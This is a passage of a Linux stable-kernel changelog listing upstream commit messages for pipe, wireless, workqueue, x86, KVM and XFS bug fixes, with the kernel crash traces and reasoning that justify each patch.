    reading it once with smp_load_acquire() in post_one_notification() before
    the bitmap and the page array are touched.  A poster that observes a
    non-zero nr_notes then also observes the pool behind it; one that observes
    zero drops the notification as before.
    
    Fixes: c73be61cede5 ("pipe: Add general notification queue support")
    Reported-by: Dae R. Jeong <threeearcat@gmail.com>
    Closes: https://lore.kernel.org/all/ZT-S8Q7tyutcvu_q@dragonet/
    Reported-by: AutonomousCodeSecurity@microsoft.com
    Suggested-by: Dae R. Jeong <threeearcat@gmail.com>
    Signed-off-by: Cen Zhang (Microsoft) <cenzhang@linux.microsoft.com>
    Link: https://patch.msgid.link/20261009224715.46121-1-cenzhang@linux.microsoft.com
    Reviewed-by: Bradley Morgan <brads@mainlining.org>
    Cc: <stable@vger.kernel.org>
    Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
wifi: p54: validate firmware record lengths [+ + +]
Author: Heyang Tan <thy15333007817@163.com>
Date:   Fri Sep 18 16:33:49 2026 +0800

    wifi: p54: validate firmware record lengths
    
    commit db7b86bd97b380ece8fa39cfdd7502a9fd35e56f upstream.
    
    The p54 firmware parser accesses component ID and component version
    records without checking that their lengths cover the fields being read.
    A malformed record can therefore make the parser read past the record.
    
    Validate the component ID and component version record lengths before
    accessing their data. The descriptor record is also checked against the
    shortest descriptor length found in the supported firmware images.
    
    Reject descriptor values that underflow the RX offset or produce an empty
    RX range before updating the driver state.
    
    Assisted-by: LLM Codex
    Signed-off-by: Heyang Tan <thy15333007817@163.com>
    Tested-by: Christian Lamparter <chunkeey@gmail.com>
    Link: https://patch.msgid.link/20260918083349.891-1-thy15333007817@163.com
    Signed-off-by: Johannes Berg <johannes.berg@intel.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
workqueue: Annotate cb_lock nesting when draining a dead BH pool [+ + +]
Author: Tejun Heo <tj@kernel.org>
Date:   Tue Aug 18 08:47:21 2026 -1000

    workqueue: Annotate cb_lock nesting when draining a dead BH pool
    
    commit 6eca8f94d84106d3754b9df27f46a14572af9e7f upstream.
    
    On PREEMPT_RT, bh_worker() wraps work item execution in pool->cb_lock to
    provide a handshake for canceling BH work items. When a CPU goes down,
    drain_dead_softirq_workfn() runs the dead pool's bh_worker() nested inside
    the local pool's bh_worker(), acquiring the cb_locks of two different pools
    without a nesting annotation. lockdep reports possible recursive locking:
    
      ============================================
      WARNING: possible recursive locking detected
      --------------------------------------------
      ktimers/0/16 is trying to acquire lock:
      ffff8880b873a990 (&pool->cb_lock){+...}-{3:3}, at: bh_worker+0x7d/0x880
    
      but task is already holding lock:
      ffff8880b863a990 (&pool->cb_lock){+...}-{3:3}, at: bh_worker+0x7d/0x880
    
      Call Trace:
       bh_worker+0x7d/0x880 kernel/workqueue.c:3688
       drain_dead_softirq_workfn+0x95/0x220 kernel/workqueue.c:3763
       process_scheduled_works+0xa8e/0x14e0 kernel/workqueue.c:3405
       bh_worker+0x46a/0x880 kernel/workqueue.c:3708
       tasklet_action+0xc/0x70 kernel/softirq.c:965
    
    The nesting can't deadlock. A pool's bh_worker() runs nested only while the
    pool's CPU is dead, entered from a live pool's bh_worker() on the draining
    CPU, so the ordering is always live to dead. CPU hotplug operations are
    serialized and the drain is synchronous, so the nesting depth never exceeds
    two. Annotate the inner acquisition with SINGLE_DEPTH_NESTING.
    
    Signed-off-by: Tejun Heo <tj@kernel.org>
    Reported-by: syzbot+1bd20115328f8254ed62@syzkaller.appspotmail.com
    Closes: https://syzkaller.appspot.com/bug?extid=1bd20115328f8254ed62
    Fixes: ad7c7f4b9c6c ("workqueue: Provide a handshake for canceling BH workers")
    Cc: stable@vger.kernel.org # v6.18+
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

workqueue: Fix unbound pool lifetime for pending pwqs [+ + +]
Author: Yao Kai <yaokai34@huawei.com>
Date:   Thu Oct 22 10:34:18 2026 -0400

    workqueue: Fix unbound pool lifetime for pending pwqs
    
    [ Upstream commit cf9c8aaea0d47410df8708bec195889f3a85cd3c ]
    
    KASAN reports a use-after-free of an unbound worker_pool in
    node_activate_pending_pwq():
    
      BUG: KASAN: slab-use-after-free in _raw_spin_trylock+0x6d/0x120
      Read of size 4 at addr ffff8880089ce000 by task kworker/u22:0/318
    
      CPU: 1 UID: 0 PID: 318 Comm: kworker/u22:0 Not tainted 7.2.0 #1 PREEMPT(lazy)
      Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
      Workqueue:  0x0 (flush-8:0)
      Call Trace:
       <TASK>
       dump_stack_lvl+0x53/0x70
       print_report+0xce/0x610
       kasan_report+0xce/0x100
       _raw_spin_trylock+0x6d/0x120
       pwq_dec_nr_in_flight+0x4b4/0xcb0
       process_one_work+0x921/0x11a0
       worker_thread+0x4d0/0xd20
       kthread+0x2de/0x3c0
       ret_from_fork+0x3aa/0x620
       ret_from_fork_asm+0x1a/0x30
       </TASK>
    
      Allocated by task 311:
       alloc_pwq+0x439/0xca0
       apply_wqattrs_prepare+0x75e/0xd10
       apply_workqueue_attrs_locked+0x44/0xa0
       wq_nice_store+0x350/0x450
    
      Freed by task 0:
       kfree+0x127/0x3b0
       rcu_core+0x523/0x1780
       handle_softirqs+0x1b3/0x610
    
      Last potentially related work creation:
       put_unbound_pool+0x3f3/0x7d0
       pwq_release_workfn+0x494/0x8e0
       kthread_worker_fn+0x1ff/0x790
    
    Canceling the last inactive work skips pwq_dec_nr_active(), so an empty
    pwq can remain on pending_pwqs when its refcnt reaches zero.
    pwq_release_workfn() currently puts the pool before removing that pwq.
    If this drops the last pool reference, the pool can be RCU-freed while
    the pwq remains reachable, and node_activate_pending_pwq() may trylock
    the freed pool->lock.
    
    Remove the pwq from pending_pwqs before putting the pool.
    
    Fixes: 5797b1c18919 ("workqueue: Implement system-wide nr_active enforcement for unbound workqueues")
    Cc: stable@vger.kernel.org
    Signed-off-by: Yao Kai <yaokai34@huawei.com>
    Signed-off-by: Tejun Heo <tj@kernel.org>
    [ sashal: Replaced `!is_percpu_pool(pool)` with the existing `wq->flags & WQ_UNBOUND` check because the helper is unavailable. ]
    Signed-off-by: Sasha Levin <sashal@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

workqueue: Use raise_softirq() to trigger softirq in irq_work handler [+ + +]
Author: Zqiang <qiang.zhang@linux.dev>
Date:   Thu Jul 16 17:56:37 2026 +0800

    workqueue: Use raise_softirq() to trigger softirq in irq_work handler
    
    commit 7e2f2a377ac9f50296ad60bd331f0d4def7aee51 upstream.
    
    bh_pool_kick_normal() and bh_pool_kick_highpri() are registered via
    init_irq_work() without the IRQ_WORK_HARD_IRQ flag. On PREEMPT_RT, such
    irq_work items are processed by the per-CPU irq_workd kthread in preemptible
    task context with IRQs enabled. However, raise_softirq_irqoff() requires
    IRQs to be disabled. Calling it from irq_workd trips the lockdep assertion
    in __raise_softirq_irqoff() and the non-atomic update of the softirq pending
    mask can lose bits raised by an interrupt on the same CPU. Replace
    raise_softirq_irqoff() with raise_softirq() in the irq_work handlers.
    
    Fixes: 2f34d7337d98 ("workqueue: Fix queue_work_on() with BH workqueues")
    Cc: stable@vger.kernel.org # v6.9+
    Signed-off-by: Zqiang <qiang.zhang@linux.dev>
    Signed-off-by: Tejun Heo <tj@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
x86/hyperv: Avoid using per-cpu output page in hv_apicid_to_vp_index() [+ + +]
Author: Michael Kelley <mhkelley58@gmail.com>
Date:   Tue Sep 1 20:01:27 2026 -0700

    x86/hyperv: Avoid using per-cpu output page in hv_apicid_to_vp_index()
    
    [ Upstream commit 7b74c117e2aac78e0f723e1c9c3644451c56b0d9 ]
    
    hv_apicid_to_vp_index() currently uses the per-cpu hypercall input
    and output pages. This function is called when running in VTL2 and
    when running in an SEV-SNP CoCo VM with no paravisor. In the former
    case, the output page is allocated, but in the latter case it is
    not, so the hypervisor stores the output VP index in memory that has
    not been allocated by the guest.
    
    Fix this by using the input page for both input and output. The
    hypercall has very small input and output, so sharing the same
    page for both is straightforward. An alternative fix is to
    allocate the per-cpu output page when running in an SEV-SNP CoCo
    guest, but this uses significantly more memory, particularly
    with larger vCPUs counts.
    
    Fixes: 86c48271e0d6 ("x86/hyperv: Fix APIC ID and VP index confusion in hv_snp_boot_ap()")
    Signed-off-by: Michael Kelley <mhklinux@outlook.com>
    Reviewed-by: Tianyu Lan <tiala@microsoft.com>
    Signed-off-by: Wei Liu <wei.liu@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
x86/insn-eval: Fix shadowed segment index in get_seg_reg_override_idx() [+ + +]
Author: Lukas Zobernig <lukas.zobernig@gmail.com>
Date:   Fri Oct 16 15:04:35 2026 -1000

    x86/insn-eval: Fix shadowed segment index in get_seg_reg_override_idx()
    
    [ Upstream commit 32c52ec87d6245ee2d12ed5dd509e40062939b50 ]
    
    Commit 45e1dccc0653 ("x86/insn: Simplify for_each_insn_prefix()") made
    for_each_insn_prefix() declare its own loop counter named idx.
    get_seg_reg_override_idx() keeps its result in a local of the same name,
    so the assignments in the loop body now write the loop counter:
    
     - the function always returns INAT_SEG_REG_DEFAULT, so FS and GS
       overrides are ignored;
    
     - a CS override sets the counter to INAT_SEG_REG_CS (2), the increment
       makes it 3, and prefixes.bytes[3] holds the last prefix, 0x2e again,
       so the loop never terminates.
    
    The UMIP emulation reaches this from the #GP handler for user space: an
    SGDT, SIDT or SMSW with a memory operand and a CS prefix leaves the task
    spinning in the kernel, never returning to user space, with a SIGKILL
    that is never delivered.  Any user can thus tie up CPUs until reboot.
    With an FS or GS prefix, the emulated result is written to the wrong
    address.
    
    Rename the internal macro iterator variable.
    
    [ Lukas' original patch renamed the use site, I changed it to rename the
      iterator in the macro instead, but left Lukas' commit message and
      authorship   - Linus ]
    
    Fixes: 45e1dccc0653 ("x86/insn: Simplify for_each_insn_prefix()")
    Signed-off-by: Lukas Zobernig <lukas.zobernig@gmail.com>
    Acked-by: Peter Zijlstra <peterz@infradead.org>
    Acked-by: Borislav Petkov <bp@alien8.de>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
x86/kvm: Don't consume async #PF flags on a kernel #PF in NMI context [+ + +]
Author: EJ Campbell <ejc3@meta.com>
Date:   Tue Sep 29 11:12:32 2026 -0700

    x86/kvm: Don't consume async #PF flags on a kernel #PF in NMI context
    
    commit 81d99abe2bd81379abfb595e403bbbee6fbfc624 upstream.
    
    An async #PF "page not present" event arrives through the #PF vector,
    and its reason sits in the per-CPU apf_reason.flags until
    __kvm_handle_async_pf() reads and clears it. If an NMI arrives after
    the event is injected and before the #PF handler reads the flags, and
    the NMI handler itself takes a #PF, that fault reads and clears the
    flags belonging to the #PF it interrupted. It then finds interrupts
    disabled in the NMI context it interrupted, and panics:
    
      Kernel panic - not syncing: Host injected async #PF in interrupt
    disabled region
      Call Trace:
       <NMI>
       panic+0x52/0x60
       __kvm_handle_async_pf+0xb0/0xb0
       exc_page_fault+0x71/0xb0
       asm_exc_page_fault+0x27/0x30
      RIP: 0010:__get_user_nocheck_8+0x6/0x20
       perf_callchain_user+0x147/0x1a0
       get_perf_callchain+0x12d/0x1c0
       ...
       perf_event_nmi_handler+0x26/0x50
       exc_nmi+0xe8/0x110
      RIP: 0010:asm_exc_page_fault+0x0/0x30
       </NMI>
    
    The last RIP line shows the NMI landing on the first instruction of
    the #PF entry. perf with user call chains takes such a fault: the
    sampling NMI walks the user stack with __get_user(), which faults when
    a saved frame pointer is not a valid user address or the walk runs off
    the top of the stack. The same window exists when KVM, running as an
    L1 hypervisor with DELIVERY_AS_PF_VMEXIT, reads the flags itself after
    a #PF VM-exit.
    
    The NMI entry code saves and restores CR2 for this nesting, but not the
    async #PF reason. Andy Lutomirski described the race, with perf as the
    example, when async #PF delivery was reworked in 2020 [1]. Saving and
    clearing the flags across the NMI, next to CR2, was discussed there but
    not merged.
    
    Since that rework, Linux has stopped setting KVM_ASYNC_PF_SEND_ALWAYS,
    so the host delivers "page not present" only for user mode faults and
    a kernel-mode fault in NMI context (including kernel-mode #MC and #DB)
    cannot be an async page fault.  In that case, return without touching
    the flags so that the interrupted handler finds them intact.
    
    Tested on v7.3-rc5 in a 4-vCPU, 2 GiB guest restored from a snapshot
    whose memory is served on demand through userfaultfd, so that reading
    it back takes async #PFs, while every thread samples hardware cycles
    with user call chains and points its frame pointer at an unmapped page.
    Without this patch the guest panicked as above in 3 of 3 runs. With it,
    the guest survived 3 of 3 runs of 60 seconds, and the host counted
    148,441 to 153,334 kvm_async_pf_not_present events in the first 20
    seconds of each. On 6.18.50 the results were the same: the guest
    panicked without the patch and survived with it.
    
    Link: https://lore.kernel.org/all/ed71d0967113a35f670a9625a058b8e6e0b2f104.1583547991.git.luto@kernel.org/ [1]
    Link: https://lore.kernel.org/all/20211126123145.2772-1-jiangshanlai@gmail.com/ [2]
    Cc: stable@vger.kernel.org # v5.9+
    Signed-off-by: EJ Campbell <ejc3@meta.com>
    Link: https://patch.msgid.link/CADkxfh-uQTca_6jB1JPDq1MsKffF_UKGQR339oQSJNcoV75GNQ@mail.gmail.com
    Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
xfs: don't hold buffer locks across sync transaction commit in xfs_sync_sb_buf [+ + +]
Author: Yun Zhou <yun.zhou@windriver.com>
Date:   Fri Jul 31 11:10:10 2026 +0800

    xfs: don't hold buffer locks across sync transaction commit in xfs_sync_sb_buf
    
    commit 41a28c865d1d5843f8cb9e0af17a8f4d9e2961ff upstream.
    
    xfs_sync_sb_buf() holds sb/rtsb buffer locks across a synchronous
    xfs_trans_commit(), which flushes the CIL push workqueue internally.
    If shutdown occurs during the CIL push, xfs_buf_item_unpin() needs to
    lock these buffers to fail them, causing a deadlock:
    
      setlabel:          holds buf lock -> flush_workqueue(xfs-cil)
      CIL push worker:   xfs_buf_item_unpin -> xfs_buf_lock(same buf)
    
    Remove the xfs_trans_bhold() calls so that commit releases the buffer
    locks normally.  After the sync commit, re-acquire the buffers via
    mp->m_sb_bp / mp->m_rtsb_bp for the on-disk writeback.
    
    Fixes: f7664b31975b ("xfs: implement online get/set fs label")
    Reported-by: syzbot+837bcd54843dd6262f2f@syzkaller.appspotmail.com
    Closes: https://syzkaller.appspot.com/bug?extid=837bcd54843dd6262f2f
    Cc: stable@vger.kernel.org
    Signed-off-by: Yun Zhou <yun.zhou@windriver.com>
    Reviewed-by: Christoph Hellwig <hch@lst.de>
    Signed-off-by: Carlos Maiolino <cem@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

xfs: fix capability check in xfs [+ + +]
Author: Carlos Maiolino <cem@kernel.org>
Date:   Tue Aug 4 11:45:51 2026 +0200

    xfs: fix capability check in xfs
    
    commit e2f62a9744ebad3bcb6347a648e615026e9efeff upstream.
    
    An user reported a bug where he managed to evade group's quota
    by changing a file's gid to a different group id the same user
    belonged to, even though quotas were enforced on both gids and the
    file's size was big enough to exceed the quota's hardlimit.
    
    Commit eba0549bc7d1 replaced a capable() call by a
    has_capability_noaudit() to prevent unnecessary selinux audit messages.
    Turns out that both calls have slightly different semantics even though
    their documentation seems similar. Where in a nutshell:
    
    capable() - Tests the task's effective credentials
    has_ns_capability_noaudit() - Tests the task's real credentials
    
    This most of the time has no practical difference but in some cases like
    changing attrs (specifically group id in this case) through a NFS client
    this will allow the quota code to use XFS_QMOPT_FORCE_RES, effectively
    bypassing quota accounting checks.
    
    Using instead ns_capable_noaudit() should fix this issue and prevent
    selinux audit messages.
    
    This also fix the remaining calls to has_capability_noaudit()
    
    Fixes: eba0549bc7d1 ("xfs: don't generate selinux audit messages for capability testing")
    Cc: stable@vger.kernel.org # v5.18
    Reported-by: Dr. Thomas Orgis <thomas.orgis@uni-hamburg.de>
    Signed-off-by: Carlos Maiolino <cmaiolino@redhat.com>
    Reviewed-by: Darrick J. Wong <djwong@kernel.org>
    Reviewed-by: Serge Hallyn <sergeh@kernel.org>
    Reviewed-by: Christoph Hellwig <hch@lst.de>
    Signed-off-by: Carlos Maiolino <cem@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

xfs: fix zoned write iomap flags assignments [+ + +]
Author: Christoph Hellwig <hch@lst.de>
Date:   Tue Aug 11 10:48:39 2026 -0600

    xfs: fix zoned write iomap flags assignments
    
    commit 4bc67fc800edcaae8a657e4d2fba12e64e856b9f upstream.
    
    Don't overwrite IOMAP_F_DIRTY with IOMAP_F_ANON_WRITE, but ensure both
    flags are set instead.
    
    Note that in practice this is harmless as all zoned writes force a metadata
    transaction anyway, but incorrectly assigned flags are still a landmine
    that will cause problems at some point.
    
    Fixes: 058dd70c65ab ("xfs: implement buffered writes to zoned RT devices")
    Fixes: 2e2383405824 ("xfs: implement direct writes to zoned RT devices")
    Cc: stable@vger.kernel.org # v6.15
    Signed-off-by: Christoph Hellwig <hch@lst.de>
    Reviewed-by: Andrey Albershteyn <aalbersh@kernel.org>
    Reviewed-by: Darrick J. Wong <djwong@kernel.org>
    Reviewed-by: Hans Holmberg <hans.holmberg@wdc.com>
    Reviewed-by: Damien Le Moal <dlemoal@kernel.org>
    Signed-off-by: Carlos Maiolino <cem@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>